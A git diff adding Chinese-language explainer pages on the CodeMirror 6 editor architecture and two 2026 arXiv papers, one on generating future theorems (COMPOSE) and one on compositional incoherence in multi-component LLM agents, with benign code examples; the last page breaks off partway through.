b/src/content/docs/papers/codemirror-6-architecture.md new file mode 100644 index 000000000..da6a0c6a7 --- /dev/null +++ b/src/content/docs/papers/codemirror-6-architecture.md @@ -0,0 +1,320 @@ +--- +title: CodeMirror 6 Architecture — 函数式内核 + 扩展织网的现代 Web 编辑器 +来源: https://codemirror.net/docs/guide/ +日期: 2026-06-13 +分类: CLI +子分类: 编辑器与 IDE +provenance: pipeline-v3 +--- + +## 是什么 + +**CodeMirror 6** 是一套用 JavaScript 写的**模块化代码编辑器框架**。官方 [System Guide](https://codemirror.net/docs/guide/) 描述的不是「一个大类 + 一堆 option」,而是一组 npm 包拼出来的**编辑系统**:`@codemirror/state` 管数据,`@codemirror/view` 管界面,行号、撤销、语法高亮、自动补全各自是独立扩展。 + +日常类比:老式编辑器像**一体式电饭煲**——买回家插电就能煮饭,但想换内胆或加蒸汽功能得拆整机。CodeMirror 6 像**开放式厨房**:灶台(state)、操作台(view)、抽油烟机(语法高亮)、调料架(keymap)都是标准接口,你按菜谱(extensions 数组)自己摆。Replit、Sourcegraph、Obsidian 等产品的代码区背后,常见的就是这套架构。 + +和 CodeMirror 5 的最大区别:**没有「上帝类」**。第 5 版的 `CodeMirror` 类把 DOM、选项、模式全缝在一起;第 6 版把「当前编辑世界长什么样」收敛进不可变的 `EditorState`,把「怎么画、怎么响应按键」交给 `EditorView` 和扩展,思路接近 Redux / Elm 的**单向数据流**。 + +## 为什么重要 + +不理解这套架构,下面几件事很难做对: + +- 为什么改 `state.doc` 不会生效,必须 `dispatch` 事务——状态是不可变的,原地赋值等于和框架对着干 +- 为什么同一个功能要同时写 StateField、Facet、ViewPlugin——不同层负责不同副作用边界 +- 为什么大文件打开不卡——视口(viewport)只渲染可见行,装饰和高亮也按可见范围算 +- 为什么 Monaco(VS Code 内核)开箱即用却更重,而 CodeMirror 能压到几十 KB——功能默认不打包,靠扩展按需组合 + +## 架构全景 + +```mermaid +flowchart TB + subgraph 用户交互 + Input[键盘 / 鼠标 / 粘贴] + end + + subgraph View层["@codemirror/view(命令式外壳)"] + EV[EditorView] + VP[ViewPlugin] + DOM[contentEditable DOM] + end + + subgraph State层["@codemirror/state(函数式内核)"] + ES[EditorState] + Doc[Text 文档树] + Sel[Selection] + SF[StateField] + Facet[Facet 合并配置] + Ext[Extensions 配置树] + end + + Input --> EV + EV -->|翻译为 Transaction| ES + ES -->|dispatch 后新 state| EV + EV --> DOM + Ext --> SF + Ext --> Facet + ES --> Doc + ES --> Sel + VP --> DOM + Facet --> EV +``` + +核心口号来自官方文档:**Functional Core, Imperative Shell**(函数式内核,命令式外壳)。内核里的一切是值;外壳负责跟 DOM 和浏览器事件打交道。 + +## 核心概念 + +### 1. 模块化包,而非单体类 + +最小可运行编辑器只需要三个概念:`EditorState.create` → `EditorView` → `parent` DOM 节点。行号、历史、语言包都不是默认自带的——这和 CM5「new 一个类就全有了」完全不同。 + +常用包分工: + +| 包 | 职责 | +|----|------| +| `@codemirror/state` | 文档 `Text`、选区、事务、Facet、StateField | +| `@codemirror/view` | `EditorView`、装饰、主题、ViewPlugin | +| `@codemirror/commands` | 编辑命令与默认键位 | +| `codemirror` | `basicSetup` 捆绑常用扩展的便利包 | +| `@codemirror/lang-*` | 各语言 Lezer 语法 + 高亮 | + +### 2. EditorState:不可变的「编辑世界快照」 + +`EditorState` 包含: + +- **doc**:按行切成树形结构的 `Text`,支持廉价随机修改与按行号索引 +- **selection**:一个或多个 range(光标是长度为 0 的 range) +- **configuration**:由 extensions 解析出的 Facet 值与 StateField + +旧 state 在更新后**仍然完整保留**。撤销、协同编辑、时间旅行调试都受益于「手里同时握着 before / after」。 + +文档位置用**从 0 开始的 UTF-16 码元偏移**(与 DOM / JS 字符串一致)。换行符永远算 1 个单位。跨版本变更时,用 `ChangeSet` 和 `mapPos` 把旧坐标映射到新文档。 + +### 3. Transaction + dispatch:唯一的合法变更路径 + +用户输入、命令、插件逻辑**不直接改 state**,而是: + +1. 用 `state.update({...})` 或 `view.state.update({...})` 构造 **Transaction** +2. 调用 `view.dispatch(transaction)` 提交 +3. View 持有新 state,同步 DOM + +Transaction 可携带:文档变更、选区变更、滚动意图、`annotations`(元数据)、`effects`(给 StateField 的自定义效果)、配置重配(Compartment)等。 + +### 4. Extension:功能的唯一装配单位 + +配置不是 `setOption('lineNumbers', true)`,而是往 `extensions` 数组里**塞值**: + +- 单个扩展对象(如 `history()`) +- 嵌套数组(任意深度,配置时会被拍平) +- `Prec.high(...)` 等优先级包装 + +扩展可以拉入其他扩展;**相同扩展实例会去重**,重复 import 不会装两遍。冲突时先比 `Prec` 类别,再比在数组里的顺序——靠前的 keymap 优先尝试处理按键。 + +### 5. Facet:多路输入,单路(或数组)输出 + +Facet 是带合并策略的「配置插槽」: + +- `tabSize`:取最高优先级的一个数 +- `keymap`:合并成按优先级排序的处理器数组 +- `changeFilter`:逻辑或 / 自定义 reduce + +还可 `Facet.compute(["doc"], state => ...)`,在依赖字段变化时自动重算——类似带 deps 的 memo。 + +### 6. StateField:挂在 state 上的 reducer 状态 + +撤销栈、折叠信息、补全会话等**必须跟文档变更同步**的数据,应放进 `StateField.define({ create, update })`,在每次 transaction 的 `update` 里根据 `tr.docChanged`、`tr.effects` 演化。不要偷偷用模块级变量——那会跟协同、撤销、重配脱节。 + +### 7. ViewPlugin:视图侧的命令式钩子 + +需要操作 DOM、读视口、挂全局监听时,用 `ViewPlugin.fromClass`。插件在 `update` 里读 `update.docChanged` 等,**尽量不存独立真源状态**——真源应在 StateField,View 只是投影。 + +### 8. Decoration:改「看起来怎样」而不改 doc + +四类装饰:Mark(样式)、Widget(插入 DOM)、Replace(隐藏/替换)、Line(行属性)。大文件场景下,装饰集可随 `ChangeSet` 映射,也可只装饰可见范围以省算力。 + +### 9. Viewport:只画看得见的行 + +长文档不会一次性渲染全文。View 计算可见区域 + margin,只对这部分建 `cm-line` 节点;视口外坐标查询会失败。块折叠、未换行的超长行会让「可见范围」仍很大——此时还有 `visibleRanges` API 供高亮器跳过不可见内容。 + +### 10. Compartment:运行时可替换的配置舱 + +静态 `extensions` 够用直到你要「运行时切换主题 / 语言 / 只读模式」。把可变部分包进 `Compartment.of(...)`,之后 `dispatch` 带 `reconfigure` 效果即可热替换,而不必重建整个 state。 + +## 代码示例 + +### 示例 1:最小可用编辑器(state + view + 键位) + +官方 Guide 里的「最小 viable editor」:只有文档、默认键位,没有行号也没有历史。 + +```ts +import { EditorState } from "@codemirror/state" +import { EditorView, keymap } from "@codemirror/view" +import { defaultKeymap } from "@codemirror/commands" + +const startState = EditorState.create({ + doc: "Hello World", + extensions: [keymap.of(defaultKeymap)], +}) + +const view = new EditorView({ + state: startState, + parent: document.body, +}) +``` + +要点:`EditorView` 构造后,一切变更都应 `view.dispatch(...)`,不要对 `view.state` 做原地修改。 + +### 示例 2:事务、不可变 state 与坐标映射 + +下面演示:先 `update` 出事务,此时 view 仍是旧画面;`dispatch` 后才刷新。`mapPos` 用于在变更后找到原偏移的新位置。 + +```ts +// 假设 view 中文档为 "123" +const transaction = view.state.update({ + changes: { from: 0, insert: "0" }, +}) +console.log(transaction.state.doc.toString()) // "0123" +// 此时 view 仍显示 "123" +view.dispatch(transaction) +// 现在 DOM 显示 "0123" +``` + +多段变更时,所有 `from`/`to` 都相对**变更前**的文档;库在内部一次性应用 `ChangeSet`。 + +### 示例 3:用 StateField 统计文档修改次数 + +扩展作者的标准模式:`create` 给初值,`update` 里读 `tr.docChanged` 或 `tr.effects`。 + +```ts +import { EditorState, StateField } from "@codemirror/state" + +const countDocChanges = StateField.define({ + create() { + return 0 + }, + update(value, tr) { + return tr.docChanged ? value + 1 : value + }, +}) + +const state = EditorState.create({ extensions: countDocChanges }) +const next = state.update({ changes: { from: 0, insert: "." } }).state +console.log(next.field(countDocChanges)) // 1 +``` + +### 示例 4:ViewPlugin 在角落显示文档长度 + +视图副作用放在 ViewPlugin;数据来自 `view.state`,不在插件里维护第二份 doc。 + +```ts +import { ViewPlugin } from "@codemirror/view" + +const docSizePlugin = ViewPlugin.fromClass( + class { + dom: HTMLDivElement + + constructor(view: EditorView) { + this.dom = view.dom.appendChild(document.createElement("div")) + this.dom.style.cssText = + "position: absolute; inset-block-start: 2px; inset-inline-end: 5px" + this.dom.textContent = String(view.state.doc.length) + } + + update(update: ViewUpdate) { + if (update.docChanged) { + this.dom.textContent = String(update.state.doc.length) + } + } + + destroy() { + this.dom.remove() + } + }, +) +``` + +### 示例 5:带 basicSetup 与 JavaScript 语言的实用配置 + +生产环境通常用 `codemirror` 包的 `basicSetup`,再叠加语言包: + +```ts +import { EditorView, basicSetup } from "codemirror" +import { javascript } from "@codemirror/lang-javascript" + +const view = new EditorView({ + extensions: [basicSetup, javascript()], + parent: document.getElementById("editor")!, +}) +``` + +`javascript()` 返回的是一组扩展(解析器、高亮、缩进等),体现了「一个功能 = 多扩展组合」的模式。 + +## 扩展作者清单 + +官方 Guide 总结:一个完整功能往往要组合多种机制: + +| 需求 | 常用机制 | +|------|----------| +| 存状态、跟 doc 同步 | StateField + StateEffect | +| 可配置、多实例合并 | Facet(module-private + `of` / `compute`) | +| 改样式、插入 widget | Decoration + `EditorView.decorations` | +| 监听 DOM、读视口 | ViewPlugin | +| 用户操作入口 | Command + `keymap.of` | +| 运行时开关 | Compartment | + +导出时推荐 `function myFeature(config?) { return [...] }`,即使暂无参数也保留函数形态,日后加配置不破坏调用方。 + +## 与 CodeMirror 5 / Monaco 的对照 + +| 维度 | CodeMirror 5 | CodeMirror 6 | Monaco | +|------|--------------|--------------|--------| +| 配置方式 | `option` 键值 | extensions 树 | `IStandaloneEditorConstructionOptions` | +| 状态模型 | 可变、封在实例里 | 不可变 `EditorState` | 可变、偏 OOP | +| 模块化 | 单包为主 | 多 @codemirror/* 包 | 单大包 | +| 默认功能 | 较多内置 | 极少,需自己拼 | 极多(接近 VS Code) | +| 包体 | 中等 | 可压到很小 | 通常数百 KB 起 | + +从 CM5 迁移时:原来的 `CodeMirror` 类 ≈ `EditorView`;`getValue` / `setValue` ≈ 读 `state.doc` / `dispatch` 变更;动态改 option ≈ Compartment 重配。 + +## 常见坑 + +1. **直接赋值 `state.doc = ...`**:无效且不受支持;永远走 transaction。 +2. **在 StateField 外存编辑相关状态**:撤销、协同、重配后会不同步。 +3. **对视口外位置调 `coordsAtPos`**:返回不准;需滚动进视口或接受限制。 +4. **手改 View 管理的 DOM**:会被下一帧重绘覆盖;用 Decoration。 +5. **忘记 `view.destroy()`**:泄漏全局监听与 MutationObserver。 +6. **嵌套扩展重复配置**:应用 `Prec` 与去重规则,或把配置收进 Facet 合并。 + +## DOM 结构速查 + +View 管理的结构大致为: + +```html +
+
+ +
+
...
+
+
+
+``` + +主题用 `EditorView.theme` 注入;与外部 CSS 共存时,选择器建议带 `.cm-editor` 以匹配注入样式的优先级。 + +## 小结 + +CodeMirror 6 的架构可以用三句话记住: + +1. **State 是真相**:文档、选区、扩展配置全是不可变数据,变更是 Transaction。 +2. **View 是投影**:把 state 画出来,把输入翻译成 transaction。 +3. **一切功能是 Extension**:Facet 合并配置,StateField 存衍生状态,ViewPlugin / Decoration 接 DOM,Command 接用户意图。 + +先接受「没有一键全能编辑器」的心智模型,再按官方 Guide 从最小示例拼到 `basicSetup` + 语言包,最后才写自定义扩展——这条路径和文档作者的预期一致,也是社区大量生产实践验证过的入门顺序。 + +## 延伸阅读 + +- [CodeMirror System Guide](https://codemirror.net/docs/guide/) — 本文主要来源 +- [Reference Manual](https://codemirror.net/docs/ref/) — API 逐项查阅 +- [Configuration Example](https://codemirror.net/examples/config/) — Compartment 与动态重配 +- [Migration Guide (5→6)](https://codemirror.net/docs/migration/) — 旧项目迁移对照 +- 本仓库 [`projects/codemirror`](../projects/codemirror.md) — 面向实践的扩展与 Facet 案例 diff --git a/src/content/docs/papers/compose-future-theorems.md b/src/content/docs/papers/compose-future-theorems.md new file mode 100644 index 000000000..fe783501f --- /dev/null +++ b/src/content/docs/papers/compose-future-theorems.md @@ -0,0 +1,359 @@ +--- +title: COMPOSE — 从引用与形式结构「合成」未来定理 +来源: https://arxiv.org/abs/2605.30333 +日期: 2026-06-13 +子分类: 定理证明 +分类: 形式化方法 +provenance: pipeline-v3 +--- + +## 从日常类比开始:猜下一本书该写什么章节 + +你在写一本数学教材,已经写到第 5 章。同事问你:「下一章最可能写什么?」 + +你会同时看两样东西: + +1. **学术脉络(科学上下文)**:这章引用了哪些经典论文?同行最近在推什么方向?引用出现在证明里还是背景介绍里?——这告诉你「**大家正在往哪走**」。 +2. **逻辑地基(形式结构)**:第 5 章用到的引理、定理,在 Lean 的 Mathlib 里依赖谁、又能推出谁?——这告诉你「**从现有结果出发,逻辑上还能合法地接什么**」。 + +只盯引用、不看形式依赖,容易猜出「听起来很前沿、但证不出来」的口号;只盯 Mathlib 依赖、不看论文叙事,容易猜出「逻辑上能证、但没人会关心」的边角结论。 + +**COMPOSE**(Busbib & Werman, Hebrew University, arXiv:2605.30333)要做的,就是把这两种约束同时喂给一个数学专用语言模型,让它为**锚点论文(anchor paper)**生成一句「像真会出现在未来论文里的定理式主张」,再用检索 benchmark 检验:生成的主张能否找回**后来真正发表、且引用了该锚点的论文**。 + +类比总结: + +| 日常 | COMPOSE | 论文术语 | +|------|---------|----------| +| 看参考文献判断趋势 | 2-hop 引用子图 + 摘要/定理节点 | Scientific graph $G_s$ | +| 看教材定理依赖链 | Mathlib 对齐 + LeanDojo 依赖扩展 | Formal graph $G_f$ | +| informal 定理 ↔ Lean 定理 | FrenzyMath 检索 + 相似度阈值 | Alignment set $\mathcal{P}$ | +| 两路信息合并后再写 | 双向 cross-attention 融合 | Dual-graph encoder | +| 猜下一篇会 cite 本文的工作 | 生成主张 → 检索 47K 未来论文 | Grounded future mathematical generation | + +--- + +## 这篇论文在解决什么问题 + +### 1. 未来数学主张必须满足双重约束 + +一个** plausible** 的未来数学结果需要: + +- **科学动机**:延续 Lakatos 意义上的研究纲领,跟引用脉络、社区兴趣一致; +- **形式可 grounded**:在已有定义/引理/定理的依赖图上,下一步「能接得上」。 + +现有工作往往只建模一侧: + +| 路线 | 强项 | 盲区 | +|------|------|------| +| 基于引用的 idea generation(GIANTS、GoAI、CoI 等) | 捕捉研究趋势 | 缺少形式依赖,主张可能「逻辑悬空」 | +| 定理证明 / Mathlib 检索(ReProver、DeepSeek-Prover 等) | 严格依赖结构 | 缺少「哪条 informal 方向值得做」的科学语境 | +| 仅 citation GNN 或仅 theorem GNN | 结构感知 | 单源,无法同时 grounded + motivated | + +COMPOSE 提出 **grounded future mathematical generation**:给定锚点论文,联合利用**科学引用图**与**形式定理依赖图**,生成定理式未来主张。 + +### 2. 非平凡对齐:informal 论文 ↔ formal Mathlib + +同一数学内容在 arXiv 正文与 Lean 语法里长相完全不同。COMPOSE 不追求端到端 autoformalization,而采用 **informal-to-informal** 对齐(沿用 FrenzyMath 思路): + +1. 从论文中抽取 informal 定理陈述; +2. 用 E5 嵌入在 FrenzyMath 语料(约 14 万条 Mathlib 定理的自然语言描述)里检索; +3. 相似度高于阈值 $\tau$ 才保留匹配,否则丢弃该定理的形式分支; +4. 以匹配到的 Mathlib 定理为根,用 LeanDojo 沿依赖边扩展局部形式子图。 + +这样约 **108K** 个「科学图 + 形式图」配对样本可用于训练;测试集为 **2024–2025 年 47K** 篇未来数学论文(时间上 hold-out)。 + +--- + +## 核心概念 + +### 1. 科学图 $G_s$(Scientific Citation Graph) + +以锚点论文为中心: + +- **节点**:论文摘要节点(abstract)+ 从 1–2 hop 引用文献中抽取的**定理节点**(theorem); +- **边类型**:引用边、摘要→定理、定理→父定理等; +- **选引用策略**:不是整篇 bibliography 全收,而是按**引用上下文相关性**筛选(最多 1-hop 5 篇、2-hop 每节点 3 篇),优先出现在证明或主结果中的引用; +- **节点初始化**:E5-large-v2 文本嵌入。 + +训练时的**监督目标**来自「未来论文」:某篇在锚点之后发表、且**引用了锚点**的论文,其**主要数学主张**是要生成的 $y$;该未来论文**不能**出现在输入图里(防泄漏)。 + +### 2. 形式图 $G_f$(Formal Theorem Dependency Graph) + +- **节点**:Mathlib 定理(Lean 签名 + 依赖关系); +- **边**:Mathlib 中的 directed dependency(由 LeanDojo 抽取); +- **根节点**:与 $G_s$ 中 informal 定理对齐成功的 Mathlib 定理,标记为 distinct root type; +- **节点初始化**:DeepSeek-Math 对定理签名的嵌入(比 E5 更懂形式数学)。 + +对齐集合 $\mathcal{P} \subseteq V_s^{\mathrm{thm}} \times V_f$ 把两侧定理节点连起来,是跨图融合的锚。 + +### 3. 双图编码器 + 融合 + +两条支路结构相同(2 层 message-passing GNN,hidden 1024),参数不共享: + +``` +G_s → SimpleGNN(E5 init) → h^s ─┐ + ├─ Bridge MLP → 共享 4224 维 +G_f → SimpleGNN(DS-Math init) → h^f ─┘ + ↓ + 双向 cross-attention(各 8 head) + ↓ + 融合节点表示 {h̃_i} → 条件化 DeepSeek-Math-7B +``` + +- GNN 更新:入边/出边消息分别 mean-pool,经 gated residual + LayerNorm,缓解 over-smoothing; +- 融合后表示与 decoder 隐藏态在**第 3,7,11,15,19,23,27,31 层**做 cross-attention(约 20% 层); +- Decoder 用 **LoRA rank 32** 微调。 + +### 4. 两阶段训练 + +**Stage 1(无 decoder)**:只训 GNN、Bridge、Fusion,冻结文本嵌入。 + +- $\mathcal{L}_{link}$:链路预测,让相邻节点表示内积大、非边小; +- $\mathcal{L}_{align}$:对比学习,融合图表示靠近「真实未来论文」的 abstract+claim 嵌入,远离负样本; +- $\mathcal{L}_{cross}$:对齐 $\mathcal{P}$ 中 informal↔formal 定理对,InfoNCE 式对比。 + +**Stage 2(加 decoder)**: + +- 自回归 CE:生成未来数学主张文本; +- **Graph margin loss**:防止 decoder 忽略图条件(无图时 loss 应更差)。 + +若某样本没有任何高置信 Mathlib 匹配,则**仅用科学图编码器**训练(形式支路为空)。 + +### 5. 评估方式 + +主指标不是 ROUGE 抄未来摘要,而是**检索真实未来论文**: + +1. 模型生成主张 $\hat{y}$; +2. 在 **47K** 未来论文池里,用微调过的 DeepSeek-Math 嵌入做相似度检索; +3. 看 ground-truth 未来 citing 论文是否出现在 Top-k。 + +在 confidence-stratified 子集上,COMPOSE **H@10 = 0.508**(CoI-GPT4 约 0.410,GIANTS 约 0.080)。LLM-as-judge 五维(数学内容、技术深度、新颖性、精确性、具体性)综合最优;**Struct.**(含实质数学内容的比例)约 **0.975**。 + +**Fut-R** 指标衡量是否「向前看」: + +$$\mathrm{Fut\text{-}R}=\frac{\mathrm{ROUGE\text{-}L}(\hat{y}, y^{*})}{\mathrm{ROUGE\text{-}L}(\hat{y}, x)}$$ + +> 1 表示生成文本更像未来真定理,而非复述输入;COMPOSE 约 1.223,GIANTS 约 0.314。 + +--- + +## 代码示例 1:用 Python 构造「科学图 + 形式图」的极简骨架 + +下面不是官方实现,但对应论文 §3.1 的数据逻辑,帮助零基础读者把两张图「画」出来: + +```python +from dataclasses import dataclass, field +from typing import Literal + +NodeKind = Literal["abstract", "theorem_informal", "theorem_formal"] + +@dataclass +class Node: + id: str + kind: NodeKind + text: str # 摘要、informal 定理陈述、或 Lean 签名 + embedding: list[float] = field(default_factory=list) + +@dataclass +class Edge: + src: str + dst: str + kind: Literal["cites", "paper_has_theorem", "theorem_dep", "align"] + +@dataclass +class DualGraphExample: + anchor_id: str + scientific: list[Node] + formal: list[Node] + edges_s: list[Edge] + edges_f: list[Edge] + align_pairs: list[tuple[str, str]] # (informal_thm_id, mathlib_thm_id) + target_future_claim: str # 监督:后来 cite 锚点的那篇论文的主主张 + +def build_scientific_subgraph(anchor, refs_hop1, refs_hop2, tau_context=0.5): + """按引用上下文相关性选边,不是全量 bibliography。""" + nodes, edges = [], [] + nodes.append(Node(anchor.id, "abstract", anchor.abstract)) + for ref in select_by_citation_context(refs_hop1, max_papers=5): + nodes.append(Node(ref.id, "abstract", ref.abstract)) + edges.append(Edge(ref.id, anchor.id, "cites")) + for thm in ref.extracted_theorems: + tid = f"{ref.id}::{thm.label}" + nodes.append(Node(tid, "theorem_informal", thm.statement)) + edges.append(Edge(tid, ref.id, "paper_has_theorem")) + # hop-2 同理,每节点最多 3 篇… + return nodes, edges + +def align_to_mathlib(informal_thm, frenzymath_index, sim_threshold=0.72): + """informal-to-informal:E5 检索 FrenzyMath 描述,再映射到 Mathlib。""" + candidates = frenzymath_index.search(informal_thm.statement, top_k=5) + best = max(candidates, key=lambda c: c.cosine) + if best.cosine < sim_threshold: + return None # 该定理无形式分支 + return best.mathlib_theorem_id + +def expand_formal_deps(root_mathlib_id, leandojo, hops=2): + """从对齐根定理沿 Mathlib 依赖边扩展。""" + nodes, edges = [], [] + frontier = [(root_mathlib_id, 0)] + seen = set() + while frontier: + tid, depth = frontier.pop() + if tid in seen or depth > hops: + continue + seen.add(tid) + meta = leandojo.get_theorem(tid) + nodes.append(Node(tid, "theorem_formal", meta.signature)) + for dep in meta.dependencies: + edges.append(Edge(dep, tid, "theorem_dep")) + frontier.append((dep, depth + 1)) + return nodes, edges + +def select_by_citation_context(refs, max_papers): + # 论文附录 A.1:引用出现在证明/主结果中得分更高 + return sorted(refs, key=lambda r: r.citation_importance, reverse=True)[:max_papers] +``` + +要点:**科学图**负责「往哪走」,**形式图**负责「能接什么」;`align_pairs` 是两座桥。 + +--- + +## 代码示例 2:双图融合 + 条件化解码(PyTorch 伪代码) + +对应 §3.2 的 encoder–fusion–decoder 数据流: + +```python +import torch +import torch.nn as nn +import torch.nn.functional as F + +class SimpleGNN(nn.Module): + def __init__(self, in_dim, hidden=1024, layers=2): + super().__init__() + self.layers = nn.ModuleList([ + nn.Linear(hidden if i else in_dim, hidden) for i in range(layers) + ]) + self.gates = nn.ModuleList([nn.Linear(hidden * 2, 1) for _ in range(layers)]) + + def forward(self, h, edge_index_in, edge_index_out): + for lin, gate in zip(self.layers, self.gates): + m_in = mean_aggregate(h, edge_index_in) + m_out = mean_aggregate(h, edge_index_out) + msg = F.relu(lin(m_in + m_out)) + g = torch.sigmoid(gate(torch.cat([h, msg], dim=-1))) + h = F.layer_norm(g * msg + (1 - g) * h, h.shape[-1:]) + return h # 再 concat 冻结文本嵌入 → 1152/4096 维上下文向量 + +class ComposeDualEncoder(nn.Module): + def __init__(self, d_s=1152, d_f=4096, d_fused=4224, n_heads=8): + super().__init__() + self.gnn_s = SimpleGNN(d_s) + self.gnn_f = SimpleGNN(d_f) + self.bridge_s = nn.Sequential(nn.Linear(d_s, 2048), nn.GELU(), nn.Linear(2048, d_fused)) + self.bridge_f = nn.Sequential(nn.Linear(d_f, 2048), nn.GELU(), nn.Linear(2048, d_fused)) + self.type_embed = nn.Embedding(2, d_fused) # 0=scientific, 1=formal + self.cross_attn = nn.MultiheadAttention(d_fused, n_heads, batch_first=True) + + def fuse(self, h_s, h_f): + z_s = self.bridge_s(h_s) + self.type_embed(torch.zeros(len(h_s), dtype=torch.long)) + z_f = self.bridge_f(h_f) + self.type_embed(torch.ones(len(h_f), dtype=torch.long)) + # 双向:科学节点 attend 形式节点,再反过来 + z_s2, _ = self.cross_attn(z_s.unsqueeze(0), z_f.unsqueeze(0), z_f.unsqueeze(0)) + z_f2, _ = self.cross_attn(z_f.unsqueeze(0), z_s.unsqueeze(0), z_s.unsqueeze(0)) + z_s = F.layer_norm(z_s + z_s2.squeeze(0), z_s.shape[-1:]) + z_f = F.layer_norm(z_f + z_f2.squeeze(0), z_f.shape[-1:]) + return torch.cat([z_s, z_f], dim=0) # decoder cross-attn 的 K/V + +# Stage 1:对比损失(简化版 L_align) +def alignment_loss(h_graph, e_pos, e_negs, temperature=0.07): + sim_pos = F.cosine_similarity(h_graph, e_pos) / temperature + sim_negs = torch.stack([F.cosine_similarity(h_graph, n) for n in e_negs]) / temperature + logits = torch.cat([sim_pos.unsqueeze(0), sim_negs]) + return F.cross_entropy(logits.unsqueeze(0), torch.zeros(1, dtype=torch.long)) + +# Stage 2:decoder 在指定层把 hidden states 作为 Q,融合图节点作为 K/V +# DeepSeek-Math-7B + LoRA;cross-attn 插入层索引 [3,7,11,15,19,23,27,31] +``` + +训练时若 `h_f` 为空(无 Mathlib 匹配),`fuse` 只返回 `z_s`,与论文「仅 citation encoder」分支一致。 + +--- + +## 代码示例 3:官方 CLI 推理流程(概念) + +仓库 [david-busbib/COMPOSE](https://github.com/david-busbib/COMPOSE) 提供端到端 demo,逻辑与论文 Figure 1 一致: + +```bash +# 给定 arXiv ID,拉 Semantic Scholar 引用 → 建 G_s → FrenzyMath 对齐 → 建 G_f → 生成 n 条未来主张 +python run_compose.py \ + --arxiv 2309.03806 \ + --n 3 \ + --checkpoint checkpoints/compose-ds-math-7b +``` + +内部流水线(摘自项目 README): + +1. 拉取锚点论文及参考文献(Semantic Scholar,无需 API key); +2. E5-large-v2 嵌入摘要,构建 citation 子图; +3. 抽取 informal 定理,嵌入检索 Mathlib4 / FrenzyMath,构建形式子图; +4. 双 GNN + 双向 cross-attention; +5. DeepSeek-Math-7B 解码 `--n` 条 plain-text 未来主张。 + +--- + +## 与相关工作的关系 + +| 工作 | 与 COMPOSE 的差异 | +|------|-------------------| +| **GIANTS** | 用引用上下文生成未来**科学摘要**,不生成定理式主张,不用 Mathlib 结构 | +| **GoAI / FutureGen / ResearchAgent** | 通用 research idea,缺形式 grounded | +| **GoR**(Citation Evolution Graphs) | 也用引用 DAG 监督 LLM,但面向 ML/NLP venue,无 formal graph | +| **Lemmanaid / conjecture generation** | 在形式库内猜新引理,缺 arXiv 科学叙事 | +| **FrenzyMath / Autoformalization** | COMPOSE **消费**对齐结果,目标不是翻译而是**预测未来** | + +COMPOSE 的定位:**informal 研究 front-end**(读论文、看趋势)与 **formal library back-end**(Lean 依赖)之间的桥,用于** grounded 的未来定理式生成**。 + +--- + +## 实验要点与消融 + +- **Paper-graph-only**(去掉 $G_f$):H@10 与 Struct. 均下降,说明形式结构不是装饰; +- **Bag-of-Papers**(打平图结构):弱于完整 GNN,说明**边类型与定理节点**重要; +- **Text-only LoRA**(无图):Fut-R 虚高(2.241)但 BERTScore 更低——更像「改写输入」而非预测未来; +- 嵌入空间上,**原始 cosine 检索**区分度差(Tgt-Neg margin 小),故 benchmark 额外微调 DeepSeek-Math 嵌入做检索。 + +--- + +## 局限与开放问题 + +1. **对齐覆盖率**:大量 informal 定理达不到 FrenzyMath 阈值,只能退化为单图;autoformalization 进步可能扩大 $G_f$。 +2. **时间切分**:训练 2000–2023,测试 2024–2025;领域漂移、Mathlib 版本变化会影响对齐质量。 +3. **「预测」≠「证明」**:生成的是 plausible **claim**,不保证真或可证;更像 research hypothesis 生成器。 +4. **评估依赖检索代理**:H@10 衡量的是「能否找对后来 cite 锚点的那篇」,不是形式验证。 +5. **计算成本**:双 GNN + 7B decoder cross-attn,比纯 prompt baseline 重得多。 + +--- + +## 谁应该读这篇论文 + +- 做 **AI for Math / 自动猜想 / 研究 idea 生成** 的人; +- 把 **Lean/Mathlib 依赖** 当结构信号,而不只做 proof search 的人; +- 关心 **citation graph + KG** 混合 conditioning 的 NLP 研究者; +- 想复现 **108K 双图数据 + 47K 未来检索 benchmark** 的工程师(代码与 project page 已公开)。 + +--- + +## 一句话带走 + +> COMPOSE 把「参考文献告诉你方向」和「Mathlib 告诉你能接什么」编成两张图,用 GNN 分别编码、cross-attention 融合,再条件化 DeepSeek-Math-7B 生成未来定理式主张——在 47K 真实未来论文检索上,比只看 citation 或纯文本微调更 grounded、也更像数学。 + +--- + +## 参考 + +- 论文:[COMPOSE: Composing Future Theorems from Citations and Formal Structure](https://arxiv.org/abs/2605.30333) +- Project page:https://david-busbib.github.io/COMPOSE-page/ +- 代码:https://github.com/david-busbib/COMPOSE +- 对齐语料:FrenzyMath(Gao et al., 2024) +- 形式依赖抽取:LeanDojo(Yang et al., 2023) +- 基线:GIANTS(He-Yueya et al., 2026)、Chain-of-Ideas 等 diff --git a/src/content/docs/papers/compositional-incoherence.md b/src/content/docs/papers/compositional-incoherence.md new file mode 100644 index 000000000..060bf0970 --- /dev/null +++ b/src/content/docs/papers/compositional-incoherence.md @@ -0,0 +1,319 @@ +--- +title: Locally Coherent, Globally Incoherent — 多组件 LLM Agent 的组合不一致性 +来源: https://arxiv.org/abs/2605.30335 +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:每个专家都说得对,拼起来却不可能 + +想象你在组织一场关于「2026 年美国最大 AI 公司 IPO 会落在哪个赛道」的预测: + +- **基础设施专家**只盯数据中心/芯片链,给出概率 **0.39** +- **模型实验室专家**只盯大模型公司,给出 **0.73** +- **应用层专家**只盯垂直 SaaS,给出 **0.67** +- **其他赛道专家**负责兜底,给出 **0.71** + +每个人在自己的「局部问题」里都很自洽:概率在 0–1 之间,校准也说得过去。但协调员把四个数字**直接拼成联合报价**时,总和是 **2.50**——没有任何真实概率测度能让四个互斥结果的质量之和超过 1。这不是某个专家「算错了」,而是**结构上**局部合理、全局不可能。 + +Kotawala(Princeton,arXiv:2605.30335)把这类现象正式命名为 **locally coherent, globally incoherent(局部一致、全局不一致,LCGI)**。论文针对的是多组件 LLM Agent:规划器把检索、算术、概率评估路由给不同 specialist,每个组件只看见联合问题的一部分;即使每个组件都经过校准、自洽解码,**聚合后的信念仍可能违反基本概率公理**,从而暴露 Dutch-book(荷兰赌)风险。 + +类比总结: + +| 日常 | 多组件 Agent | 论文术语 | +|------|-------------|---------| +| 四位专家各报局部概率 | 各 sub-agent 输出局部边际 | component marginal $\hat{p}^{(a)}$ | +| 协调员原样拼接 | owner-selected aggregation | 聚合器 $\mathcal{A}$ 只「选坐标」 | +| 四段概率加起来 > 1 | 违反 partition 约束 | 落在 coherent polytope 